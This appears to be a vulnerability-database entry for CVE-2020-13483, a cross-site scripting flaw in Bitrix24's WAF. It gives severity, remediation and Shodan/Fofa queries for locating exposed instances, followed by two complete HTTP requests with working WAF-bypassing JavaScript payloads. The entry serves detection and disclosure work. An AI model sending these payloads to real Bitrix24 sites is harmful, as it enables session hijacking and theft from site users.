| Title | Bitrix24 <=20.0.0 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu,3th1c_yuk1 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.26042 |
| CVE ID | CVE-2020-13483 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"/bitrix/" |
| Fofa Query | body="/bitrix/" |
| Tags | cve2020 cve xss bitrix bitrix24 vkev vuln |
The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
GET /bitrix/components/bitrix/mobileapp.list/ajax.php/?AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_3_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /bitrix/components/bitrix/mobileapp.list/ajax.php/?AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13483.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13483.pcap
N/AN/A